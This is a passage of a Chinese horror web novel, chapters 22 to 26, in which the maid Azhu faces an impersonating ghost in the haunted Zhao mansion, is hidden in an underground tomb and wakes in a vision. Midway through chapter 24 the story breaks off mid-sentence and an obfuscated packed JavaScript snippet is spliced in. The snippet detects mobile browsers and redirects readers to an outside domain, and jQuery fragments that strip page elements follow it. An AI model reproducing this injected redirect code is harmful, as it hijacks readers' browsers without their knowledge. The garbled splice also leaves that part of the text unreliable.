赵府能有今天的光景是靠偷人命格,借了运势。现在得罪了阴鬼,不仅养不得,还要把以前得来的加倍还回去。阿朱当然知道赵府祠堂是什么样子,可她意不在此,只能状似无意地问了句:“那日宋夫人提了几个人,又是贱人又是凤奴。你知道凤奴是谁吗?” 贞红皱起眉头,几番沉默思考后终于出声道:“……这我就不知道了。哦!三姨娘还和我说什么,可伶的都是女人,我也猜不出到底是什么意思。” 自从女儿死后,三姨娘疯病重。凤奴和“女人”到底是什么关系。为何会同时出现在宋夫人的口里。 阿朱正百思不得其解,贞红朝门外看了眼,着急忙慌地唤了一声阿朱的名字,“我得走了,不然三姨娘小憩醒来没看见我又该着急。” 说罢,贞红又慢慢跛着腿准备悄悄溜出去,阿朱陡然喊住贞红,“你什么时候走呢,要我替你送行吗?” 贞红听完,坦然地笑了笑,“不必了,三姨娘说越快越好,再过一个时辰等天暗了就会出府。” 阿朱一口气堵在喉咙险些没通过气来,“这么急?不会被发现吗?” 贞红蹙眉一脸单纯道:“现在正是最乱的时候没人会注意到我们,届时我们会在后门,你会来送我吗?” 毕竟有救命之恩,偌大宅院里只有三姨娘和阿朱对贞红而言是特别的。 “你要来啊……你会来的吧?” 见她心意已决,阿朱再不好说些什么,她郑重地点了点头,朝贞红道:“我会来的。” 阿朱默默注视着贞红离开,逐渐昏暗下的天光下,贞红的背影边缘化成了同周围光景一样的颜色,背影渐渐晕成模糊不辨人影的色块。 阿朱恋恋不舍地关门,一想到赵府唯一她熟悉的人马上就会离开,重新去往一个新的地方重新拥有一个身份继续活下去,一股奇妙的滋味瞬间就涌上了心头。贞红可以,那她可以吗? 一个时辰说快也快说慢也慢,阿朱掰着手指头,油灯燃烧到发黑的烛芯火光扑烁,蜡油融化滴落在逐渐变短的烛身上。她终于算准了时间,穿好鞋子推门而出。 夜里如今已经变凉,阿朱抱着手臂打了个激灵。她按约定避开人来到后门,其实阿朱不用避开人,因为赵府早就不剩什么人了,更不用说在这个时间点出来。 后门两道相互依偎着的人影躲在暗处。三姨娘肉眼可见的苍老许多,以往总是没有任何情绪涟漪的瞳孔,现在蒙上了一层浑浊担忧与恐惧的灰。 “你来了!” 贞红按了按三姨娘的手背,小跑两步到阿朱跟前。她脸上是难以抑制地面对未知生活的新鲜和担忧,但更多的是轻松和惬意。 “你拿着,要是哪天有机会出府,不至于饿死。” 贞红握住阿朱的手,往阿朱的掌心塞了一袋叮当响的银子。阿朱捏了捏,随即手心烙铁似的又把钱袋子往贞红手里送。 “我用不着,你们路上才该用钱。” “不用客气,这是三姨娘给你的。”说罢贞红回头望了眼三姨娘,三姨娘机械的地转动了眼珠子,张开禁闭的嘴朝阿朱示意道: “拿着吧,我们也不缺这点银子。” 见阿朱收下了,贞红才重新回到三姨娘身旁。 三姨娘眼里流露出某种不忍 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说罢两人行色匆匆地离开,她们默契地一齐推开无人把守的后门,一高一矮,相互扶持着走出去。 紧紧连在一起的两人留下的是戏班子尘封已久的箱子里早已褪色的剪影。她们融进夜色,直到阿朱再不能用肉眼看出她们的行迹。 后门发出沉闷的声响,无情地合上。一阵腥风拂过,潮湿冰凉混着污浊腐烂的气息扑在阿朱脸上。 右眼皮又开始抽搐跳起来,阿朱死死咬住嘴唇,心里的不安像从四周无形又不可触碰的虚空中慢慢涌出来。 眼角的黑影俯冲而下,稳稳停在屋檐上,阿朱的视线追随过去。隐入更暗处,类似禽兽的玄色羽翼闪着古怪的光,它伸直脖子发出在静夜里突兀的破锣声。 身后传来阿朱熟悉得不能再熟悉的脚步声,她镇定下来慢慢转身,还未来得及说些虚与委蛇的话,赵渡生便踏着风一般的步子行过来,“你做什么呢,在风口吹风。” 他语气满是埋怨与责怪。阿朱的指甲深深陷进掌心的肉里,她立刻回道:“没事,我夜里总是睡不着就出来逛逛。” “快点回去,我巡夜。” 赵渡生话里没有什么耐心,只是一味催促阿朱回房间关好门窗。这么多人为什么会轮到赵渡生巡夜,阿朱心中奇怪,正想着赵渡生就卸下自己的披风盖在她身上。 阿朱起了一身鸡皮疙瘩,眼睛却不由自主地对上铁钩般的尖喙上的红眼。 她连忙扯住转身欲走的赵渡生,颤颤巍巍张开嘴半天说不出话来。 阿朱一向老实,赵渡生根本没有任何怀疑,“怎么了你难受吗?” 阿朱勉强维持住颤抖的手,垂着脑袋顺水推舟胡乱嗯了两声。 “快走吧,我累了。”阿朱垂着脑袋,眼睛从下往上地望着赵渡生,轻微抖动的睫毛下眼尾垂出可怜巴巴的弧度。 赵渡生淡淡挪开视线,“嗯,我带你去休息。你夜里不许这样出来,若是再遇到上次的事该怎么办。” 他环住阿朱的肩膀,两人提着灯笼引路。昏黄的光晕出两人贴在一起的影子。 身后立在高处的畜生歪头凝视,血红的眼珠子像两滴凝固的血。 23. 腌臜 赵渡生一路不再多说话,走在阿朱身后盯着她回房间。他在阿朱身后也不催,随便阿朱走路快慢。 灯笼里的星点火光摇曳不定,将阿朱的影子拉得很长。阿朱想叮嘱赵渡生小心,可等了又等觉得这话肉麻,决定不这样说。 “往后夜里都不准出来,一入夜就给自己点上灯。” 赵渡生脸上挂着连日来不曾好好睡过一觉的憔悴,两颊肉眼可见的瘦削下去。 偏偏不知为何又开始唠叨,阿朱因着刚送完三姨娘和贞红的事情,格外的心虚,生怕赵渡生发现端倪不论他说什么只垂着脑袋一个劲儿地点头。一时间两人相处下来还真有种和睦默契的意味。 只是和睦的假象并没有维持多少就被一道凄厉尖锐的嘶喊声瞬间划破。两人都被狠狠骇了一跳,赵渡生回过神机敏地望向声音传来的地方。 “是谁在叫?”阿朱瞳孔骤然缩成细细一簇的麦尖,她惊魂未定地盯着赵渡生的脸,疑惑地问。 “二姨娘。” 赵渡生眸色沉沉,灯笼的光照亮的是阿朱,赵渡生在暗处阿朱自然分辨不出他是什么意思。 “我去看看,你赶紧回去。”赵渡生毫不犹豫地将手里的灯笼递给阿朱,阿朱刚顺手接过,赵渡生便神色匆匆地转身离开。 “你等等,我也要去!” 阿朱说罢一言不发就跟了上去。赵渡生回身,阿朱一下子撞在他身上。 “不行,还不知道发生了什么事,你得回去。” 要说赵渡生倔强,那阿朱更是十头牛也拉不回来的犟种,她直勾勾地盯住赵渡生,启唇道:“我就要去。” 赵渡生拿她没法子,两人争执不下间,远处的尖叫声隐约越发凄厉起来,赵渡生只能妥协。 “你跟我去也行,但你必须得听我的,还得跟在我后面不能随便乱跑。” “行,一言为定。” 二姨娘的屋子在西边,昏黄的油灯透过雕花窗棂,晕出极暗的光线和黑影。 赵渡生唇色发白,冷汗从鬓发间滑落,他脸上的害怕只比阿朱多不会比阿朱少。 他咽了咽口水,终于抖着手猛地撞开房门,冲进房间的同时迅速抬起灯笼照亮四周。 只见屋内满地狼藉,枕头被褥被丢在地上,细小的棉花絮在空中慢慢飞舞着。二姨娘跌坐在地上背靠小桌,头发散乱,双眼圆挣着仿佛看到什么恶鬼般,满是惊恐。 赵渡生慌乱地上前试图扶起对方,不料二姨娘一把抓住赵渡生的袖子,力气大得惊人。 “有人要害我,要害我啊!!”她手指颤抖着指向凌乱的床榻,“是不是要杀我了,你快去看看。” “行了!”不太耐烦的声音钻进耳朵,房里烛光忽明忽暗,赵渡生这才发觉床边站了个人。 下人掀开歪斜垂落的床幔,宋夫人往里头看了眼,随即伸手捂了捂鼻子,退后几步。 “不过是天气湿热生出了腌臜霉苔印,大惊小怪些什么,折腾旁人也就罢了,要是吵闹了老爷,看他怎么罚你。” 床榻被扯得七零八落,软垫也被翻在地上,被褥、枕头都被揉成一团,一半落在床上一半落在地上。 “渡生,你来瞧瞧这是怎么一回事儿。”宋夫人亲昵地唤赵渡生过去。阿朱跟在他身后,透过缝隙睁大眼睛努力看清楚里面的光景。 床榻下的木板上,一团漆黑的,轮廓分明的印子印在木板上。乍一看,木板像烧黑了似的,留下的黑印酷似人形。 人形印子像是会流动的墨水,勾勒出让众人倒吸一口凉气的形状。 阿朱看齐整了,只有仔细看去,才能看清那是深深浅浅的霉斑。 昏黄的光线映出赵渡生冷峻的面孔,他没多说什么,只吩咐道:“还不弄干净。” 下人上前用马毛刷刷了几下,额头不禁渗出冷汗。 “夫人,这……刷不掉啊。”下人颇为难地朝宋夫人说了句,没想到宋夫人发作起来,疾言厉色地呵斥:“没吃饭吗?刷不掉。是不是觉得府里怪事儿多,就可以整日里净弄些装神弄鬼的唬人?” 那小厮年纪小,当即跪在地上,不敢抬头求宋夫人恕罪。 霉斑在木床上长得狰狞,连带着床褥软缎都生出一条条腐坏的霉斑脉络来。 “一定是有人故意的,”二姨娘脱下的衣服上也具是霉斑,她环视周围一圈,泛着泪花的眼睛亮了起来,陡然生出恶意。“三姨娘呢?她人去哪儿了,是不是她弄的鬼。” 二姨娘突然站起身来,一张脸一张脸地看过去。“她还记恨着我呢,一定是她,巴不得我早死下地狱!” “三姨娘呢?”宋夫人问。 “说是今天累了已经歇下了。”陈妈在宋夫人耳边小声说道。 “去说出了点事儿,叫她过来当面说清楚。” 阿朱浑身上下泛起了鸡皮疙瘩,她紧紧攥着拳头,掌心沁出的冷汗被捂得潮润。 二姨娘坐在地上哭哭蹄蹄,谁去扶她,她就打谁,嘴里念叨着就是三姨娘对她下毒手。 大宅里的女人总是不可避免的有着这样那样的矛盾,外人说不清道不明。 赵渡生听得心里烦,不由得没好气地斥了句:“吵死了别哭了!”二姨娘这才把声音放小了,但就是不肯停下来。 几人等了半晌,以为等来的是三姨娘,没想到小厮急匆匆冲进来,高声喊了句:“三姨娘不见人了!” “怎么会不见人?确定里里外外都找过了。” “都找过了,夫人。” 宋礼莲突然伸手捂住头,嘴里念着造孽。倒是二姨娘反应极快地问:“那小姑娘呢,三姨娘把人家当流玉养,两人老是呆一块儿。叫什么来着……贞红。是不是在她屋里。” “姨娘,我们……也找过了。” 阿朱缩了缩脖子,悄悄抬头望了眼没想到直接对上了赵渡生的目光。他正对着自己虎视眈眈,一副若有所思的样子,阿朱随即慢慢低下头,只装聋装瞎。 “立刻着人去找!不论怎么样都给我把人带回来,死在外面还要玷污我赵府的名声,快去!” 宋夫人气得厉害,往后直接倒在了木椅中间。这回二姨娘倒是识时务地止住声音不哭了。她自己爬起 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赵渡生眼神凛然,细细审视着阿朱的表情,不放过任何蛛丝马迹。阿朱心脏几乎要冲破胸腔,眼皮子不带眨地说:“我真不知道。你知道的,贞红一向不喜欢我。三姨娘和我也不熟,她们去哪儿我怎么可能知道。” 说到一半还叹了口气,继续说:“你说这深更半夜不见人,要是遇到危险怎么办。” 画蛇添足。 赵渡生沉沉看了阿朱一眼,用手背敲了几下门,“行了,你既然不知道那就算了,赵府已经派人去找了。只是阿朱……” 他说着突然俯下身子压低嗓音道:“你要害惨贞红了。” 阿朱猛地抬头,赵渡生已经直起身子和她拉开距离。阿朱几乎是下意识地扑过去抓住赵渡生的袖子,没想到赵渡生一挥手,袖子从阿朱手里猛地就被抽走,留下掌心摩擦过的热烫。 赵渡生关上门,阿朱在里面拍打门。很快阿朱就听见了门锁晃动的声响,她更加急迫地去拍门。 “赵渡生!你做什么关我,放我出去!” “什么时候找到人了,我就什么时候放你出去。” “赵渡生,你放我出去!” …… 赵渡生气坏了,他是什么十恶不赦的坏人吗?为什么要瞒他骗他,再说了,三姨娘逃得走吗? 他一路走得急,连灯笼都忘了拿,想起来时已经走到了半道,可他夜里能视物,既如此,他又不想再窝囊地回去和阿朱对峙一番。 又走了会儿,赵渡生忽然停住脚步。廊道没有风,可赵渡生却听见了风声。身后传来钝挫的木头刮擦响,赵渡生回头,一只乌鸦绕着柱子不断盘旋。 他心里正觉得奇怪,岂料那乌鸦飞着飞着,嗓子里破铜锣的凄厉声叫唤了后,羽毛突然烧起来。 火光混着燃烧挛缩的羽毛不断剥落,一团团掉在地上。赵渡生看得迷糊失神,眼前的邪状化作一团飓风,乘其不备冲过来扬在了他脸上。 24. 你怎么这样骂我 铜镜立在桌上,映出阿朱扭曲变形的光影。 阿朱不想一直待在原地坐以待毙,她果断地下定决心出去看看。 她敲打了一扇窗户,发现能打开,便着手要翻出去,只是缝隙狭窄,阿朱比了比不一定能翻出去。 身后的门吱呀一声,被人推开,打乱阿朱的动作。 她朝门外瞧了眼,赵渡生竟然又回来了。 赵渡生似乎叹了口气,外面的风不断地灌进来,两人各守着一边,阿朱犹犹豫豫着要不要搭理对方,赵渡生自己就慢慢移了过来。 他走到阿朱面前,也不说话。 “你又回来做什么?不是要把我关起来吗?” 赵渡生眼珠子动也不动地盯着她,不知道是夜里凉被风吹了还是被二姨娘这一遭吓到了,脸白得发青,两片薄唇紧紧地闭着。 赵渡生也不说话看得阿朱发毛,她伸手碰了下赵渡生的手指。 “你的手好凉。” …… “既然不肯和我说话,那你就一直就别说。” 阿朱发起了脾气,怒气才能遮挡住自己忤逆赵渡生的心虚,她转身坐在椅子上背对着赵渡生。 赵渡生把阿朱的身体板正,动作格外轻柔缓慢,手掌却牢牢按住阿朱的肩膀,他轻声说:“阿朱,你想到哪去,怎么不和我说?嗯?” 质问的语气拖得长而轻,阿朱张了张没有血色的嘴唇,昧着良心艰难解释道:“我就想出门看看现在怎么一回事,而且我怎么不能出去了。” 赵渡生眼睛机械地转动了两下。 阿朱在撒谎,真是可爱。 阿朱还很暖,一点也不会嫌弃我。既然对我这么好,我也会对你好的。 阿朱乖一点吧乖一点,不要想着走也不能走,乖乖待在赵府。 赵渡生松开手,压在阿朱肩膀上的力道消失,阿朱跳出胸膛的心顿时安稳跳动起来。她轻呼一口气,却听见赵渡生牙齿磨得咯咯轻响。 “阿朱,我需要你,你能一直陪着我,别走吗?” 阿朱心中奇怪,没多说什么,犹豫之际,赵渡生竟然一下直接跪在她面前。 “我真的很害怕,”赵渡生将脸埋在阿朱的腹部和大腿,阿朱下意识地推开,手才刚伸过去就被赵渡生用手扣住。 赵渡生凑过去用脸颊亲昵地蹭着阿朱的手背,掌心和手指。他朝阿朱痴痴地笑着,发出一声细微的喟叹后,便沉溺在温暖的气息中。 十足的怪异感充斥阿朱的身体。赵渡生从来不会这样做。 “你好奇怪,离我远一点。” 赵渡生才升起的欢欣感被打散,嘴角禁不住翘起弧度的消失。他面上隐隐怀着莫名其妙的期待,望向阿朱的眼神更是不加掩饰的直白。 “阿朱不想待在这里,我可以带阿朱走。” 回应赵渡生的是长久的缄默。 “怎么不回答我?我好伤心。阿朱不喜欢赵府,不喜欢我吗?” 赵渡生像等待犒赏的野狗,可那双无任何波澜的眼睛却摄住阿朱的心神。 “……我不是讨厌你的意思,你别多想。” 赵渡生噗嗤一下笑出声,受伤的神情略见松缓,“那你就是喜欢。” 他弯了弯腰恶劣地探手在阿朱的嘴角揉了几下,“喜欢我就该对我笑的,可你笑不出来那就是不喜欢……” 冰冷的气息染上阿朱的手腕,不论是动作神情还是说的话,赵渡生与以往几乎是判若两人,怎么看怎么不像他。可眼前的这张脸又丝毫不差。 赵渡生紧紧抱住阿朱,亲密到阿朱几乎不敢相信。可阿朱觉得他分明没有半点真心,只是故意说些与人接近虚与委蛇的话。 阿朱不好意思驳人面子,尴尬得只能伸手去抚了抚赵渡生的背,以示诚意。 掌心陷进赵渡生的后背,阿朱摸到了刺绣的纹路和顺滑的料子。 好软。 阿朱忍不住又来回摸了摸。 赵渡生是个男人,虽未至壮年,但总该是清瘦有劲的。 阿朱不禁皱起眉头,手也不由得使了更大的劲。 往下摁,指尖却像扎进充了气鼓起来的衣服,绵软的触感下没有任何人骨和皮肉的轮廓。 阿朱像抱着一个田野间连稻草都舍不得填充,随便挂了件衣服在杆子上的假人。 潮湿的冷汗瞬间顺着脊椎往下流。 赵渡生死死箍住阿朱。 阿朱身上沉沉压下来某种东西,她听见自己牙齿打颤的声音混着近得可闻几乎要冲破肋骨的心跳声。 “有没有人…救命…赵渡生…” 双臂的力道压迫阿朱的胸膛,挤压出阿朱胸腔里的空气,勒得她肋骨咔咔作响。 阿朱喉间渐渐没了声响,''赵渡生''却像半大无知孩童似的,在阿朱耳边恶劣顽皮地笑起来。 祂是故意的 “阿朱!阿朱!” 意识朦胧间,门外传来赵渡生的声音。 青筋在‘赵渡生’脸上聚合,烛光将祂漆黑的瞳孔映得发亮。 祂卸了点力道,阿朱双眼圆睁,嘴唇微张终于呵哧喘着气。 ‘赵渡生’冷静的表情下暗含疯狂,带着浓浓的怒气和杀意。 他轻笑一声带着讥诮,可伶巴巴地叹气,“哎呀,可惜了,居然这么快就醒过来了。” 说罢,他朝阿朱伸手,“阿朱,我们下次见。” ‘赵渡生’起身,身体渐渐变得高大模糊,阿朱抬不起头,偏开视线望向铜镜。 铜镜里一个身材高大的男人正伸出祂的手贴在了过来,轻轻用手背触碰了一下阿朱的耳垂。 整只手臂青黑,不带半点活人的气息,紧紧贴着自己脸颊的手背青筋暴起蚯结。 两人的身影在铜镜中变得扭曲不清,阿朱眼前忽然被那只手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645770|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆住,对方不再模仿赵渡生的声音,转而用一种仿佛人刚学会说话的音调说: “离赵渡生远一点,要记得我。” 屋里没人有回应。 赵渡生推门看见的便是一个膝盖高的满面獠牙,恶面青鬼趴在阿朱身上。 它见赵渡生闯进来,朝赵渡生咧嘴露出尖牙笑了笑,飞快地瞬移到桌下。 赵渡生怒火中烧,一脚踹翻桌子,本该藏匿在桌下的恶鬼却已经消失不见。 他紧张地上前确定阿朱身上没受到什么伤,可阿朱浑然不觉似的发着抖,看向镜子。 镜子里没有人。 “你没事吧……” 赵渡生抱住阿朱,手臂下的人浑身僵硬,甚至无法动弹自己的手脚。 阿朱冰冷的指尖趁机抓住了赵渡生的手腕,等摸到手腕下的跳动,又去摸了摸赵渡生的脊柱和肋骨。 恶鬼带来的威压刚消失,手脚的冰凉渐渐被赵渡生热乎的体温传染。 阿朱在自己身上乱摸,摸得赵渡生没了脾气,他耳根子热乎乎得直发紧,浑身都不自在。 “我又看见祂了。” “什么?” “鬼,一个和你长得特别像的鬼。” 赵渡生窝囊地滚动了几下喉结。 “你怎么这样骂我。我都看清了,分明是个青面小鬼,哪里和我长得像。我才不是鬼……不会是我关着你,你故意说我长得像鬼是不是。” “真的!”阿朱推开赵渡生,“不然门锁怎么会自己打开。” 赵渡生这才后知后觉地发现大门只是虚虚掩上。自己刚刚是直接撞进来来的。 躺在地上的门锁扭曲变形,上面遍布凌乱纵横的划痕,显然是被强力粗暴地扭断打开。 人当然不会有这样的力气,哪怕是借助钳子也未必能将其直接钳断。 赵渡生低头的瞬间却发现阿朱脚边正躺着一根漂亮的玄羽,柔软的羽毛如同婴儿的呼吸般缓缓翕动。 “羽毛?” 这根和赵渡生烧掉的一模一样的羽毛静静躺在赵渡生的掌心。他想起意识消散前的乌鸦,羽毛闪着和乌鸦身上的尾翼类似的光泽。 赵渡生直截了当的将羽毛用烛火点燃烧了。 “直接烧掉,它也还会有的吧。”阿朱在赵渡生身后小声出声道。 “管它的,来一次我烧一次,最好一把火烧干净。” 火光映在赵渡生的眸子里,他将快要烧尽的羽毛随手扔在地上。 “陈妈她们就要过来了,我带你走。” “她们来这里做什么?” 阿朱敏感地望见了赵渡生眼里某种细不可察又转瞬即逝的东西。 “他们做什么和你无关,我带你去一个地方,你藏好了,我不来见你,你就不要出来。” 远处一片火光闪过,赵渡生拉上阿朱的手。 “跟我走。” 25. 第25章 赵渡生带着阿朱来到祠堂,黑箱依旧摆在壁龛内,像一座小小的宫殿摆放在赵府的供台之上。 阿朱已经很久没有踏足此地了。自从知道了赵府供鬼,而自己以前供奉的说不定就是哪里的孤魂野鬼,阿朱难免对着壁龛内的黑箱子发怵。 “来这儿做什么。” 她看着赵渡生动作,赵渡生伸手在黑箱后摸索。 “别碰这个东西!” 阿朱话音未落,赵渡生便触动了箱子背后的机关。 没了阿朱打扫,空无一物积满灰尘的供桌下,石板向两边展开,露出一条密道。 “走吧,我们进去。” 赵渡生回身招呼阿朱,阿朱够到对方伸来的手问:“他们是不是要对我做什么?” “是,他们要杀了你。” 赵府故意恶狠狠地说了句,只可惜阿朱没被他吓到。 从当朝大员的祖宅变成一座邪气四溢的鬼宅,哪里是用几条人名就能转圜的。 “要是用活人祭祀有用,早就不是这样了。” 地下的霉味塞满鼻腔,赵渡生用火折子给阿朱引路。密道内四面皆由砖块铺就,两侧摆放着陶俑和莲花烛台。 沿着台阶一直往下走,空气愈发阴冷。 一道石门拦在两人面前。 赵府鬼气四溢,多的是恶鬼冲撞,阿朱知道这是什么地方,原来赵府的地下还藏了一座砖墓。 “赵府的地底为什么会修建一座砖墓?还是聚阴的鬼门。” “你怎么知道?” 阿朱抬手摸了几下白玉砖上镇邪的石兽。 “石门坐南朝北,既想要聚阴,壁画偏偏又全是镇邪的石刻。” 赵渡生没有回答阿朱的问题,转而说道:“知道你懂些驱邪的皮毛,倒没想到你还懂这些。” 石门该是很多年没人打开过,赵渡生推开石门,青苔和灰尘扑落在两人身上。 阿朱捂住鼻子咳嗽几声,赵渡生走在前面将细长的蛛网、积灰散开。 “我保证这个地方,他们绝对不会来。你放心,你在里面等着,等外面收拾得差不多,我再来找你。” 空旷的内室正前方供着斩妖除魔的神像。高可触顶的神佛金身脱落,怒目圆睁垂首,盯着内室正中间的由石柱子圈出来的空地。 阿朱不可置信地望着赵渡生,“你让我待在墓里。” “放心吧,这墓建了很多年,我亲眼见它建成的,也没出过什么问题。赵府不在这里头搞那些邪门玩意儿。” 此地隐隐透着股莫名的阴邪,纵使有赵渡生劝慰,阿朱总还是有股不好的预感。 “其实我可以跑的。”阿朱自作主张地说。 赵渡生侧目,沉沉看了眼阿朱,“你跑不了……三姨娘很快就会被捉回来。” 阿朱变了脸色,改口道:“我要出去。” “不行。”阿朱再次被拒绝。 “赵府最近大乱,她们保不准一不做二不休要亲手了结你。” “那你呢?你去哪儿?” “我还得去应付她们,很快就会回来。” 赵渡生一根根点燃烛台上的蜡烛,又将手里的递给阿朱。 阿朱半信半疑地又说:“那你可要早点来。” “嗯。”赵渡生郑重其事地许下承诺,两人分隔一边。 石门自动合上时,赵渡生还能看见阿朱眼巴巴地望着自己。他深知自己的无能,有些遗憾地垂首错开阿朱的视线。 赵渡生走了,留在阿朱失魂落魄地站在原地。 石室内过于安静,阿朱大着胆子摸变了整个石室的构造,随后一个人坐到台阶上靠着柱子,祈祷自己能顺遂平安。 密闭空间内,时间会极其难熬,阿朱对着烛芯跃动的火苗望了又望,盯得眼睛发酸流泪。 烛泪顺着烛台蜿蜒淌下,烛身却没有变得多短。 阿朱伸手揉了几下眼睛叹了口气,换个姿势继续等。 她抬头摇了摇变得酸麻的脖颈,眼睛下意识地盯上头顶的拱形建筑,后背不禁发麻。 养鬼就算了,赵府居然丧心病狂到在自家的宅院里建造暮穴,得亏这里头没有供奉什么东西,空荡荡的,才让阿朱缓了口气。 阿朱直挺挺地躺在地上。 能在墓里大喇喇躺下,若是赵渡生见了估计也会被阿朱惊到。 阿朱的眼珠子顺着排列整齐的石砖一圈圈扫下来。 她仰头看过去,神像在自己眼中便是倒立的。 下方点了灯,上方的神像头颅掩在昏暗处,半张脸隐没在黑暗里。 阿朱缓慢地眨了下眼睛,本来放松下的精神却骤然紧绷。 她猛地坐起身,回头望向神像。 片刻前还完好无损的眼睛,仿佛被人生生粗暴剜掉眼睛,变成两片空洞。 阿朱重重搓了下双眼,再次睁眼,神像双眼处依旧空荡一片。 獠牙上的眼睛凭空消失,阿朱在心里默念。看错了看错了看错了…一定是我看错了。刚刚那么暗,看错很正常,更何况深更半夜没有休息,眼睛和脑子一起糊涂了也很正常。没事的,继续等着…… 她心里是这么想,可身子不受控制地爬起来。 正中间的空地就在神像眼皮子底下,阿朱走上去踩在刻出的莲花上。 地上的石砖除去花纹似乎还刻了字,日久年深,字迹模糊看不清楚。 阿朱跪在地上,用微弱的光照亮字迹。这会儿阿朱倒是恨起了自己怎么没多学点字,竟去学那些骗人的三脚猫的技法。 造墓的人大概是刻了星宿之类的,阿朱也不太确定。 按道理该有个棺椁摆在这儿,可棺椁呢。难不成被赵府的人移走了? 阿朱冥思苦想不得其法。 不行,她不能呆在这里,她要出去。这里没那么简单,远比赵渡生说的要奇怪得多。 比起不明不白的死,那还是被人杀了更好一点。阿朱如今只能用更温和的死法安慰自己。 一滴蜡油滴在石砖上,阿朱连忙用袖子将蜡油抹干净。 原以为会留下什么印迹,待阿朱定睛一看,方才滴过蜡油的地方干干净净。 阴嗖嗖的寒气环绕着周身,阿朱呆愣愣地停下动作,就连呼吸放得很轻,生怕漏掉身旁发出的任何动静。 她望了眼石门,大约二十步的距离。 脑海里只有一个字。 跑。 蜡烛滚落在地,阿朱连滚带爬,飞快地迈开步子。 心脏咚咚咚狂跳。 脚下的地砖突然松开,阿朱没来得及逃脱,一脚踩空掉进底下黑漆漆不见光影的地方,后脑勺重重磕在一块木板上。 阿朱吃痛之际,一摸额头,温热的血从伤口缓缓流出来。 上方的光在慢慢消失。阿朱摸黑扒住身旁类似木材的墙壁,试图重新站起来,眼前一阵发昏,忙不迭又摔了回去。 地板重新合上,内室静悄悄的只剩灯火在燃烧,神像依旧盯着地上的莲花,好似从来没有阿朱这个人。 极度的疲惫无奈从心底升起,阿朱歪斜着躺了很久,侵蚀理智的黑暗骇人心脾,让阿朱的每一根神经都在铮铮作响。 阿朱摸了摸周围,都是木板,并且并没有给她留在多大的空间伸展。 下,下,左,右……都是木板,阿朱此刻就像被牢牢关在一个方方正正的木箱子里。 她心下有了一个最不好的猜想,她正躺着的不是什么木箱子,而是她一刻钟前念着的棺材。 在几次尝试后,阿朱彻底放弃。事已至此,她只希望赵渡生回来时能发现不对劲,而不是以为她走了,将她丢在这里。 阿朱不死心地用力捶打木板,渐渐的,捶打的双手无力滑落,她心里陡然升腾起一抹委屈。 用她祭祀,阿朱没哭;撞鬼,阿朱没哭,可此 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“咚——” 一股阴寒之气以迅雷不及掩耳之势瞬间充斥着整个棺内。 有什么东西爬进了棺材。 阿朱双腿颤抖,喉咙在巨大的惊恐下反而叫不出声音。她紧闭眼睛绝望地低头,裸露的肌肤被某种柔软类似羽绒的东西轻轻划过。 眼泪打湿睫毛,眼尾一簇睫毛粘连在一起。 那东西就在自己的面前,对着阿朱的面门吹出一口冷凝成冰的气。阿朱豁然睁开眼睛,透过迷蒙的视线,在黑暗中望见了那东西。 它身后长着巨大的非人的翅膀,在阿朱眼前脱落下身上一片片的黑羽,慢慢露出人形。 羽毛?阿朱痴愣楞地看呆了去。 一只慢慢褪去羽毛,修长冷白的手握在阿朱露出的脚踝上。 顺着这条臂看过去,狭窄的空间中,斑斑点点从它脸上消失,露出一张完整的人的面庞。 这是个年纪不大的少年,浑身赤裸着,肌肤呈现出可怖而诡异的死白,死死盯住阿朱的双目却幽深至极。 瞳孔像蒙了层蓝光,沉静如水地盯住阿朱。 它如此安静,静到阿朱几乎产生了错觉,觉得它安全无害,不会攻击自己。 少年的双目让阿朱想起来未经驯化的野狗,纯粹但下一秒就会毫不留情地撕咬你。 身体发黑凸起的筋络如同细细密密的毒蛇缠绕在人皮之下。 阿朱想抬手抹去眼泪,却有一只手更快地为她擦拭去眼角的泪水。 冰凉的指腹极尽轻柔地刮过阿朱的眼角,脸颊和下巴。 没有人的欲望,更没有贪念。 阿朱登时被吓得不敢再发出声音,只剩下鼻子小声急促的吸气声。 恶鬼伸出舌尖,将阿朱额头流淌而下的血液舔舐干净。 阿朱终于忍不住猛地抬脚。 本该踹过去的脚硬生生却被一道无形的力道控住。 这恶鬼似乎是知晓了阿朱的想法,竟兴奋地颤抖起来。 棺椁狭窄,只有阿朱一人都还勉勉强强,更不用说再多出个庞然大物。 恶鬼几乎要将阿朱压进自己的身体里。喟叹一声后,阿朱听到他喉咙里类似兽类放纵愉悦的呼呼声。 阿朱直接闭上眼睛,引颈待戮。 恶鬼似乎极为顽皮,有种不大孩童天然的恶意。 它笑活人愚蠢,更恨这样的蠢人能得人庇佑,活到现在。 它双目迸出阴冷的光,阴森森地开口:“都说了,要记住我。” 又是那种不似人的音调。 “我不想杀你,所以,你死在别的地方吧。” 尖利的指甲嵌进阿朱腰上的肉,这是阿朱跌落幻境最后听见的话。 26. 第26章 阿朱又看见了轿子,门帘红通通,上下抖动,像凭空长了脚自己走在路上。 破旧的门帘里坐着个女人,脸色如纸般苍白,乌黑的头发枯燥凌乱地披散在肩头。 她似乎恨极了,死死盯住阿朱的双眼充满让人不寒而栗的怨恨。 少女本该平坦的腹部,高高隆起跟着轿子吱呀吱呀地晃过来。 在即将撞到阿朱的瞬间,阿朱猛地从梦中惊醒。 她在一间小小的屋子里,陈设摆件粗糙还少得可怜,但胜在门窗干净明亮。 不属于自己的记忆涌入脑海,她是赵府的丫鬟,叫流玉。 阿朱呆愣片刻,忙不迭冲到镜子面前,差点自己拌自己摔倒。 还好,还是自己的脸。 流玉被林管事吩咐指派到小李氏这间屋子,服侍她和她不大的儿子凤奴。 小李氏十六岁进府,出身瘦马班子。原是个弹琵琶的,被赵光行看上,不知用了什么手段强带进了赵府。 纵使她不愿,一来二去,生了个孩子。 心比天高命比纸薄就是说她这样的女人,以为自己会门手艺,又识点字就能摆脱被人买卖的命运。 在赵光行眼里,他什么阿谀奉承,钻空子讨巧的都见惯了,突然来个清高的,有意思。 